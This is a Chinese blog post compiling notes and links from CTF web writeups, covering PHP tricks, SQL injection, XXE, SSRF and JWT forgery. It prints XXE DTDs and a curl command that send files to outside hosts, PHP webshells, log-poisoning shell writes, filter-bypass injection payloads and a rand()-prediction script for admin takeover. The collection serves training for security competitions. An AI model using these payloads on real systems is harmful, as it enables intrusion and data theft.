CTF中转载的writeup汇总(不定时更新)

  • by

简单来说:就是大杂烩,弃之可惜,食之无味,还是有点作用,就汇总于此

把以前记录的网上的CTFwriteup汇总一下,直接一篇解决,也是方便查阅

都是网上的writeup,反正就是很乱就对了,具体看原文资源

更新看情况吧,如果是自己做的CTF就再单独文章记录

ctf的writeup

正文:

虽然打不动比赛
但是不妨碍博主看下,学习其中的知识;很多东西等有一定积累来看,就会发现不一样的进步
见多识广,以下内容均来自链接文章,博主只是搬运工(没做也做不了,看看)

0.github上的总结
https://github.com/VulnHub/ctf-writeups
1.安恒杯部分writeup:
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=41655
https://blog.csdn.net/qq_35078631/article/details/78238523
https://blog.csdn.net/cemao4548/article/details/83038286
https://blog.csdn.net/weixin_40423072/article/details/82350434
https://blog.csdn.net/m0_38094687/article/details/80387188

2.2017 X-NUCA

https://www.jianshu.com/p/5b9c3bc68126
https://blog.csdn.net/qq_31481187/article/details/77607655
https://blog.csdn.net/qq_31481187/article/details/77163021?locationNum=2&fps=1
http://netsecurity.51cto.com/art/201609/516741.htm
3.N1CTF国际赛
https://blog.csdn.net/like98k/article/details/79542995?utm_source=blogxgwz6
https://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html
https://www.freebuf.com/column/165452.html
http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/
https://blog.csdn.net/littlelittlebai/article/details/79535569

反引号也可以闭合单引号
phpinfo,upload_progress.enabled开启,并且给出了session.save_path,session_upload的解法,http://web.jarvisoj.com:32784/;包含session,session.upload_progress.enabled是被打开了的,而当这个选项被打开时,php会自动记录上传文件的进度,在上传时会将其信息保存在$_SESSION中,这样就可以通过upload文件,然后包含session文件从而getshell。(具体未测试,竞争条件)
burp 爆破目录,sqli ,xss
通过在url 中输入多个斜杠来使parse_url() 无法正确解析(但浏览器仍能识别)。parse_url是可以绕过的,这样子拿到提示http://47.52.152.93:23333/////user.php?page=/ffffllllaaaaggg,$uri = parse_url($_SERVER[“REQUEST_URI”]);
parse_str($uri[‘query’], $query);
http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/
备份文件http://47.97.221.96/index.php~
remote_connect_back = on          直接getshell
SoapClient  ssrf(未解决)
过滤了information,系统库information_schema用不了,又猜不出库名表名出来。
然后这里有个trick。见文章 大家可以也打开自己的数据库看看,关于mysql.innodb_table_stats这张表;使用mysql.innodb_table_stats表注入的缺点是无法通过查询得出列名,在实际场景中,列名可通过爆破的方式获取.
对文件头进行了检查,不允许是<?php ,通过<?= 可以绕过(可以使用这样的绕过方式,也是需要服务器端的php进行了相应的配置的)
可以进行图片转化,im的命令执行漏洞
看进程
预测种子的工具:
http://files.cnblogs.com/files/iamstudy/php_mt_seed-3.2.tar.gz

<?php
mt_srand(369252519);
echo mt_rand()."\n\r";
function random_str($length = "32") {
  $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
    "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
    "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
    "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
    "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  $str = '';
  for ($i = 1; $i <= $length; ++$i) {
    $ch = mt_rand(0, count($set) - 1);
    $str .= $set[$ch];
  }
  return $str;
}
echo random_str()."\n\r";
4.强网杯部分writeup
http://www.8sec.cc/archives/557
https://blog.csdn.net/qq_39293438/article/details/83242473
https://blog.csdn.net/like98k/article/details/79719491
https://www.secpulse.com/archives/69824.html

依旧数组绕过:param1[]=a&param2[]=b
md5碰撞

5.2018年“北邮网安杯”
http://www.klmyssn.com/?post=100
6.DDCTF滴滴高校闯关赛

https://www.360zhijia.com/anquan/379326.html
Big-5 编码表
使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入
类的 命名空间 问题,如果构造的类为根路径,会导致类未初始化的错误。
使用了 namespace IndexHelper 方式指定了全局命名空间。
挖矿脚本  ??
多次 sprintf 导致单引号逃逸
任意文件读取
String f5a5a608 的 hashCode 为 0.

由于存在长度限制,因此选择使用外部 DTD 加载的方式进行攻击。发送 payload 如下:
    /rest/user/nicaicaikan_url_23333_secret?xmlData=%26send;
构造读取文件 readfile.dtd:
    <!ENTITY % file SYSTEM "file:///flag/hint.txt">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
    %all;
构造读取文件 tomcat2.dtd:
    <!ENTITY % file SYSTEM "http://tomcat_2:8080/">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
    %all;
构造读取文件 tomcat2h.dtd:
    <!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
    %all;

尝试直接使用 S2-016 命令执行 PoC cat /flag/flag.txt 文件时,提示只允许读取文件,于是构造如下 OGNL 表达式
7.“360 企业安全春秋杯”网络安全技术大赛-线上赛
http://marsguest.com/2018/04/18/2018-04-18-Writeup01/
http://marsguest.com/2018/04/18/2018-04-18-Writeup02/
 
8.

https://blog.csdn.net/publicStr/article/details/79941400(大量抄了这篇文章,归纳的很好)
https://www.jianshu.com/p/ee38041c3925
https://blog.csdn.net/nersie/article/details/21327235
https://blog.csdn.net/Jerryzhu369/article/details/79942843
https://blog.csdn.net/Jerryzhu369/article/details/79829192

上传的时候文件名为abc.php空格,php空格不会触发nonono

传入的filename参数,被php函数getimagesize调用。
在处理路径时会调用一个FindFirstFileExW()的底层Windows API函数。
大于号(>)相等于通配符问号(?)
小于号(<)相当于通配符星号(*)
双引号(")相当于点字符(.)恰好getimagesize函数用了这种方式处理路径,就可以通配判断文件名了。
1、尝试短文件名漏洞
自己可以尝试dir /x 看到超过6个长度的文件都有短文件名
匹配方式:
http://www.xxx.com/a*~1*/.aspx
测试有a开头的文件,iis7.0应返回erro code
【资料】https://segmentfault.com/a/1190000006225568
2、IIS的range溢出漏洞
在请求头上加
Range: bytes=12345-18446744073709551615
若返回:
Requested Range Not Satisfiable
则有漏洞
简单检测方法:
curl http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
【原理】http://bbs.safedog.cn/thread-78756-1-1.html
【原理】https://yq.aliyun.com/ziliao/27485
3、IIS畸形解析生成shell漏洞
需要开启fast-cgi功能
在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
制作图片马
<?fputs(fopen("shell.PHP","w"),"<?eval(\$_POST[akt]);?>")?>
上传命名 mm.jpg
访问mm.jpg/p.php即可被当做php解析
【资料】https://blog.csdn.net/sap910131/article/details/37379177
【资料】http://www.91ri.org/588.html
IIS其他版本漏洞:
http://www.freebuf.com/articles/4978.html
关于泄露路径的其他思路:
尝试过构造超长后缀名,希望在move_upload_file的时候报错,然鹅并没有。
尝试构造windows不允许的后缀报错,然鹅也没有。
尝试同一秒上传两个文件,名字相同,php可能会同时写入报错,发现并没有。
尝试让getimagesize读个畸形长宽报错,发现是不可能的,因为源码里,把文件头后的固定字节移入数组去处理,超过长度无所谓的。也尝试构造仅有宽没有高的图片报错,也是不行的,因为在移动相关字节到数组的时候,长度不够,直接退出。
一些奇葩的脑洞:
上传文件的后缀名可以改成<script>能返回。。。。。大概是皮卡丘的题做魔怔了
根据悲催的default.jpg猜想过条件竞争,比如上传到upload目录的瞬间又被移走了,发现想多了。
因为尝试iis短文件通配漏洞没成功,以为姿势不对,尝试fuzz一下payload。。用python排列组合一下*~符号之类的跑一遍
万一文件夹名字很短呢,尝试了1234位路径字母数字下划线爆破。

于是我们知道通过 “/8<</”这种方法可以匹配到以8开头的文件名称

9.第十一届全国大学生信息安全竞赛(创新实践能力赛-初赛)
https://cloud.tencent.com/developer/news/207685
10.第二届红帽杯网络安全攻防大赛-线上赛
https://blog.csdn.net/qq_34444097/article/details/80174298
https://blog.csdn.net/xiaoi123/article/details/80181667
https://blog.l1n3.net/writeup/red_hat_ctf_2018_writeup/
然后文件保护查看日志发现多了一条php一句话
10.10.0.9 – - [30/Apr/2018:18:19:33 +0000] “GET / HTTP/1.0″ 302 21 “-” “\<?php eval(\$_GET['cmd']);?\>”
(备注:为什么是改ua而不是改其他的呢?因为只能控制uri和ua和referer,其中uri会被url编码,变成10.10.0.9
        [30/Apr/2018:18:18:53 +0000] “GET /?%3C?php%20eval(\$_GET[%27cmd%27]);?%3E
        HTTP/1.0″ 302 21 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0)
        Gecko/20100101 Firefox/41.0″。uri我忘试了。)
然后可以直接菜刀连接。
我为了好看(强迫症),往/tmp/写了个一句话(其他路径www-data权限不可写),这样就不用包含日志,以免出错
/?page=/var/log/nginx/access.log\&cmd=file_put_contents(%22/tmp/s.php%22,%22%3C?php%20eval(\\$_POST[%27cmd%27]);?%3E%22);

www.maicaidao.com
302返回gopher跳转可以绕过if(preg_match(“/\^http(s?):\/\/.+/”,
\$url)){

11.第十一届全国大学生信息安全竞赛
http://www.xunblog.com/283
https://www.chabug.org/ctf/429.html
https://www.jianshu.com/p/2c95186d6215

admin admin  admin 空
base32
有匹配函数以为是PHPMailer 远程代码执行漏洞

goods=2%27-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary(%27{}%27))then(0)else(1)end)-%271

12.sctf

http://ju.outofmemory.cn/entry/358979
https://www.anquanke.com/post/id/149324
https://www.xctf.org.cn/library/details/242b5bc84314a983ee39d5bb5aab5243c875e3fc/(本命分析,详细,可以,有时间再研究)

AngularJS模板,直接查找相应的模板漏洞
拿弱口令字典可以爆出来密码是6yhn7ujm(真的呵呵了)
直接在github上找框架(找路径)
web缓存漏洞,目录穿透(可学习)
路由
映射
urlopen 支持 http ftp file

htaccess
php_flag engine off
Options All -Indexes
php解析
AddType application/x-httpd-php .png
php_flag engine

hql注入
域控

12.强网杯
13.护网杯

 
2018.11.2

强网杯-writeup

正文:

以下内容均来自链接,仅摘抄部分博主的理解部分笔记

签到题:(还不错的学习网址)
https://lalajun.github.io/2018/03/26/WEB-%E7%BD%91%E5%BC%BA%E6%9D%AF%20WEB%20writeup/
php特性
md5漏洞  对于数组进行md5 最后变为null
string变化  hash碰撞(https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value)
is_numeric(),is_numeric判断数字不严格,可以是16进制
https://lalajun.github.io/2018/04/03/web-phpinfo%E5%8C%85%E5%90%AB%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6/
竞争包含临时文件
预选赛:
https://www.cnblogs.com/deen-/p/7533117.html
php的一个精度问题
2017.000000000001=2017
2016.999999999999=2017
各种社工信息
第一场
https://xz.aliyun.com/t/2607
ssrf
robots.txt
js的exp 这个网站
交流得知CTF中redis环境是3.0版本。不过redis>=3.2版本,会过滤一些特殊字符,直接利用js发送http请求,由于POST数据包的特殊字符被过滤,导致链接会被redis关闭,所以不会执行后面的写文件等payload。
https://www.jianshu.com/p/c14b4d719a53
反序列化来实现ssrf读取任意文件
第二场
https://www.jianshu.com/p/3acc7d5dd6be
python沙箱逃逸  https://www.anquanke.com/post/id/85571
通过不允许他们对整个文件进行编码和扫描内容来阻止他们使用eval关键字。希望我们删除所有危险的内置函数
由于我们没有在__builtins__中引用file和open,所以常规的编码技巧是行不通的。但是也许我们可以在Python解释器中挖掘出另一种代替file或open引用的方法。
命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下
突然发现strcmp也是有逗号的,只能用in函数了
https://www.secpulse.com/archives/74776.html
这里猜测一下后台代码的执行过程:
    先用正则对用户的输入进行匹配
    如果正则匹配不为空,则将用户的输入直接传递到后台模板文件中;否则不执行
    当然这里有对用户的输入进行一些过滤
而我们传入的 1+1,python语句 实际上是一个元组,传到后台模板中类似 {{ (1+1,python语句) }}
email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test
然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度
所以这里我们使用 substr 每次取10个字符长度与 '0' 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr('test' from 1 for 10) 这种写法来绕过,具体获取 flag 的代码如下:
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
上图代码 第8-10行 进行了 MIME 类型检测, 第12-20行 对文件后缀进行了检测,而后缀名则是取 $file 数组中最后一个元素。然后在生成文件的时候,文件路径又用 $file 数组第一个元素做文件名,数组最后一个下标对应的值作为后缀,这明显存在不一致可绕过的问题。我们只要控制 $file 数组中参数的顺序即可绕过并 getshell ,请求数据包如
 phpjiami 数种解密方法  https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html#0x05-getshell
burpsuit fuzz
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i  !!! (trust me,no one can bypass it)
过滤了空格,可以用 /**/ 来绕过;过滤了 and ,可以用 && 代替;过滤了 substr 、 ascii ,但是还可以用 mid 。而且SQL语句执行和不执行返回的长度是不一样的。所以我们构造 payload 如下:
wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in/**/('f')/**/limit/**/1%23
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
http://www.vrrb.cn/kuaixun/qiye/2018-08-24/75290.html
Filename 数组绕过,count数字绕过。由于拼接php多了个.所以利用Linux的特性 .php/.即可写入shell
第三场
https://www.jianshu.com/p/5a7cf3c82608
16进制试一下
0x3127206f7220313d3123 ==> 1' or 1=1#
1' union select database() limit 1 offset 1#
当然也可以用order by 1 desc
1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag') limit 1 offset 1#
python的模板注入(网站内有脚本)
jwt  secret密钥
https://www.codercto.com/a/23680.html
jwt.io上伪造一个
题目给了测试账号 test:test 随手登录进去,发现提供了一个 secret key (此处没有图,比赛时候忘记截图了,大家脑补一下吧),并且set了一个JWT。果断想到去 jwt.io 上伪造一个JWT。
一开始测试的时候没有回显,于是狗杂布尔型型盲注使其返回0人或多人 %' and (case when (mid(user(),1,1)='{1}') then 1 else 0 end)#
超级SQL注入工具
select count(*) from xxx where xxx like '%x%' union select user() order by 1 desc
 a' union select f14g from flag order by 1 desc#
0x612720756E696F6E2073656C65637420663134672066726F6D20666C6167206F726465722062792031206465736323
第四场
https://www.360zhijia.com/anquan/412235.html
可以看到部署过程中先cp然后删除?件,即原先的?件夹中还保留着.DS_Store 于是尝试读取/home/www/html/.DS_Store 失败,百思不得其解,思索了好久想明?,环境 是?docker部署的,临时?件都在/tmp?,md这步坑死了。于是读取/tmp/html/.DS_Store 即可拿到?件名称。
下载得到www.zip 解压后得到?个so,分析后发现将原本的php进?zlib压缩后 开头添加了字符串的md5,然后?度padding 0x00 *4 加上?度再加上4字节00的padding,即为最终shell。?如下脚本直接?成?个shell,然后上传
解题思路打开是个wordpress,发现上赫然写着鼎科技,尝试github搜 qinglongdingkeji.com 搜到了?个仓库
在api.php?泄露了接?,所以直接爆破uid即可
http://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html (关于git的知识)

 
 
2018.11.20

第十二届全国大学生信息安全竞赛创新实践能力赛 web writeup

web一共4道

参考:

https://race.ichunqiu.com/competition
https://findneo.github.io/190427-ciscn2019-web-wp/
http://ultramangaia.cn/archives/222.html
https://zhzhdoai.github.io/2019/04/25/%E7%AC%AC12%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-WEB/

1.JustSoso

个人以前写过一次记录:http://www.youknowi.xin/2019/04/%e4%b8%80%e9%81%93%e5%8f%8d%e5%ba%8f%e5%8c%96%e7%9a%84%e9%a2%98/

伪协议+地址覆盖+cve-2017

2.全宇宙最简单的SQL

exp函数报错盲注+mysql服务器伪造实现任意读取

3.love_math

calc.php?c=$pi=base_convert;$pi(696468,10,36)(${$pi(47989,10,36)^$pi(1114322,10,36)}{1})&1=curl%20my.vps%20-F%20’data=@flag.php’

异或得到的_GET+eval函数实现一句话

4.RefSpace

包含文件+phargetshell+refelect namespace考点

2019.5.6

2019ISCC web writeup

推荐一个writeup总结的网址:https://www.ctfwp.com/articals/2019iscc.html

内有10多到题的解析,个人就捡了几道目前觉得有意思的web进行记录,其中jwt是最涨姿势的一道

web1:

<?php
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);

两个点:

1.password参数必须小于2333,password+1>2333

<?php
//0
echo intval('0x01').' ';
//2
echo intval('0x01' + 1).' ';

2.value参数被chr函数处理生成username

chr函数:https://www.php.net/manual/en/function.chr.php

0到255之间的整数。

超出有效范围(0..255)的值将按位并用255表示,这相当于以下算法:

while ($bytevalue < 0) {
$bytevalue += 256;
}
$bytevalue %= 256;

脚本:

input_str = 'w3lc0me_To_ISCC2019'
result = ''
for i in input_str:
result += '&value[]=' + str(ord(i) + 256)

print(result)

web3.php

<?php 
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("&lt;img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

parse_str 变量覆盖

web* JWT

jwt解码:  https://jwt.io/

涨姿势的一道

这道是拿到pubkey,然后将 RS256 这种非对称加密改成 HS256 这种对称加密 , 伪造 JWT Token (以及有账号,密码)

还可参考:

https://www.anquanke.com/post/id/145540    nice
https://www.freebuf.com/column/207216.html
https://baijiahao.baidu.com/s?id=1608021814182894637&wfr=spider&for=pc
http://www.cnvd.org.cn/flaw/show/CNVD-2018-00712
import jwt

public = open('1.txt', 'r').read()
print(jwt.encode({"name": "glzjin","priv": "admin"}, key=public, algorithm='HS256'))

2019.7.14

DDCTF 2017 SQL注入-绕过未知字段名(转载)

这个知识点蛮不错的,很多时候是跑不出来表名的,查询information_schema失败,这个能稍微解决

参考:https://www.bodkin.ren/index.php/archives/166/

全部来自原作者文章:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4 |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id | username | password | email |
+-------------+----------+----------+-------------+
| 1 | admin | admin888 | 110@110.com |
| 120@120.com | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

2019.5.6

DDCTF我的博客和喝杯Java冷静下(转载)

正文:

这两个对自己目前来说,水平和知识有限,只是跟着大佬些学习知识和操作了一下
赛题:
http://ddctf.didichuxing.com/challenges
writeup:
http://www.360zhijia.com/anquan/379326.html

一.我的博客

第一层:

提示www.tar.gz  访问,拿到源码,分析
pdo预处理,无注入
登陆
register.php源码中code接受的$admin值成功,则注册的账号为admin账号
str_shuffle来对$admin值进行随机操作,而str_shuffle是依赖rand函数
PHP 5 中的 rand() 函数存在缺陷,可以通过 rand[i] = rand[i-31] + rand[i-3] 进行预测,网页中的 csrf token 直接暴露了完整的 rand() 结果,因此可以通过获得多次 csrf 来推测之后的结果。
即str_shuffle函数也可以进行预测
要分析php函数源码,下载地址 https://github.com/php/php-src/blob/PHP-5.6.35/
直接放大佬的payload了

import re
import time
import requests
REQ_NUM = 50
PHP_RAND_MAX = 0x7fffffff
DEBUG = False
rand_list = []
gen_rand_i = REQ_NUM
s = requests.Session()
url = 'http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/register.php'
def php_rand():
    global gen_rand_i
    rand_num = (rand_list[gen_rand_i-31]+rand_list[gen_rand_i-3]) & PHP_RAND_MAX
    if DEBUG:
        print "Gen rand: " + str(gen_rand_i) + ": " + str(rand_num) + " = " + str(rand_list[gen_rand_i-31]) + " + " + str(rand_list[gen_rand_i-3])
    rand_list.append(rand_num)
    gen_rand_i += 1
    return rand_num
# define RAND_RANGE(__n, __min, __max, __tmax) 
#    (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * (__n / (__tmax + 1.0)))
def php_rand_range(rand_num, rmin, rmax, tmax):
    return int(rmin + (rmax - rmin + 1.0) * (rand_num / (tmax + 1.0)))
# https://github.com/php/php-src/blob/PHP-5.6.35/ext/standard/string.c#L5394
def php_str_shuffle(instr):
    str_len = len(instr)
    instr = list(instr)
    n_elems = str_len
    if n_elems <= 1:
        return
    n_left = n_elems
    n_left -= 1
    while n_left > 0:
        rnd_idx = php_rand()
        rnd_idx = php_rand_range(rnd_idx, 0, n_left, PHP_RAND_MAX)
        if rnd_idx != n_left:
            temp = instr[n_left]
            instr[n_left] = instr[rnd_idx]
            instr[rnd_idx] = temp
        n_left -= 1
    return ''.join(instr)
def get_rand_from_web():
    r = s.get(url)
    return int(re.findall('id="csrf" value="(.*)"',r.text)[0])
def prepare_rand():
    global gen_rand_i
    r = s.get(url)
    #print r.text
    for i in range(REQ_NUM):
        rand_list.append(get_rand_from_web())
def check_rand():
    for i in range(10):
        print str(php_rand()) + " <-> " + str(get_rand_from_web())
if __name__ == "__main__":
    prepare_rand()
    if DEBUG:
        check_rand()
        for i in range(len(rand_list)):
            print str(i) + ": " + str(rand_list[i])
        exit()
    auth = "admin###" + php_str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[:32]
    data =  {
        'csrf': str(rand_list[REQ_NUM - 1]),
        'username': 'hzfinally' + auth[18:20],
        'password': auth[10:18],
        'code': auth
    }
    r = s.post(url, data)
    print r.text + "n"
    print "Code: " + data['code']
    print "Username: " + data['username']
    print "Passrowd: " + data['password']

第二层:

这个就简单了,看源码是title参数sprintf格式化注入,其中id参数被addslashes函数过滤
sqlmap.py -u “http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome!” –prefix=”%1$’” –suffix=” — -” -p “title” –cookie=”PHPSESSID=1ec9e259d6a179a0d2433a5f6fb4bcc2″ –dump
DDCTF{39a3b3cf60a4bee19bf510c5be361f3d}

二.喝杯Java冷静下

这个还好点吧
源码注释
YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu
base64后得到账号密码
admin: admin_password_2333_caicaikan
登陆进去,看到Quick4j By Eliteams.
Quick4j  开源项目
地址:https://github.com/Eliteams/quick4j      (20M,目前为止,还没有下好。。)
我看到后台那么简洁,猜测可能是文件包含和命令执行,包含倒是有一个地方,就是大佬些writeup看到的readme.txt,试了下,不行,下载下的readme也没有内容
看到题目开头有版本提醒,存在s2016远程执行漏洞,作者说执行不了,我也没有试,反正接下来的都直接拿过来用了,那个代码暂时确实不会编

ok,我们就直接看大佬的writeup分析吧

UserController.class 下有 /user/nicaicaikan_url_23333_secret 路由,可以上传 XML ,但需要 super_admin 权限,怀疑 XXE。获得提示读取 /flag/hint.txt。
1.取得超级管理员权限
hashcode后密码为0
f5a5a608哈希码为0
https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero
获得用户 superadmin_hahaha_2333: f5a5a608
2.xxe(由于我用自己的vps打时,显示vps401未授权,就直接拿文中结果了)

/rest/user/nicaicaikan_url_23333_secret?xmlData=<!DOCTYPE data SYSTEM "http://vps/stwo.dtd"><data>%26send;</data>
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:port/?%file;'>">
%all;

nc -lvnp port
一套打下来拿到hint.txt内容
tomcat_2   8080端口
2)做少许修改

<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:port/?%file;'>">
%all;

try to visit hello.action
3)再做少许修改,得到hello.action内容
flag/flag.txt
4)ok,接下来这一串代码,自己暂时看不懂,就不贴了
 
思路就是这样的
 
2018.8.5

DDCTF数据库的秘密和注入的奥妙(转载)

正文:

有一些直接用了大佬些的结果
塞题通道,有效时间到2019年4月
http://ddctf.didichuxing.com/challenges
writeup:
http://www.360zhijia.com/anquan/379326.html
http://www.softrising.net/security/222-cn.html

一.数据库的秘密

本地转发url(类似菜刀转发) https://www.cnblogs.com/picaso/archive/2012/10/25/2738164.html
js的web签名,第一次接触到这个知识点
本地建造一个php文件,写入:

<?php
@$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date'];
$time = time();
$sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');
$ch = curl_init();
$post = [
    'id' => $id,
    'title' => $title,
    'author' => $author,
    'date' => $date,
];
curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: 123.232.23.245',
    ));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);
$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);
http_response_code($ch_info['http_code']);
//header($header);
//echo $header;
echo $body;
?>

然后 sqlmap.py -u “http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E8%B1%B9′” –dump –batch

二.注入的奥妙

据我目前接触到的,引号被/转义后,一般/也坑定会被转义,所以这时候一般有小几率是编码绕过(各种编码)。
直接sqlmap跑
sqlmap.py -u “http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E8%B1%B9′” –dbs –batch
sqlmap跑的出来是什么类型的注入,但是跑不出来数据库之类的。
ok,我们直接手工报错注入(我用原文作者的payload拿不到东西)
是过滤了database的,所以databadatabasese()

http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E8%B1%B9'%20AND%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,databdatabasease(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--%20

拿到数据库sqli
sqli转化为16进制,依次拿到表,message,route_rules。
试了作者的两个payload,转化前和转化后都试了下,没有出数据
and 2=1 uniunionon select 0x6964 ,0x7061747465726E COLLATE utf8_general_ci ,0x616374696F6E COLLATE utf8_general_ci from route_rules–%20
and 2=1 uniunionon select 0x6964 ,0x7061747465726E COLLATE utf8_general_ci ,0x616374696F6E COLLATE utf8_general_ci from route_rules–%20
跟着报错注入可以拿到列
我直接用了作者拿到的列数据 static/bootstrap/css/backup.css
http://116.85.48.105:5033/static/bootstrap/css/backup.css  下载下来,pk开头是zip文件,解压,拿到源码。

分析源码

(由于本人知识水平不高,不是很懂,所以只能依葫芦画瓢分析一下利用)
justtry.php

class Justtry extends Base
{
    private $white = array('test', 'well','base','justtry');
    public $flag;
    public function __construct()
    {
        parent::__construct();
        // $this->flag=new Test();
    }
    public function self($a='')
    {
        // echo $a;
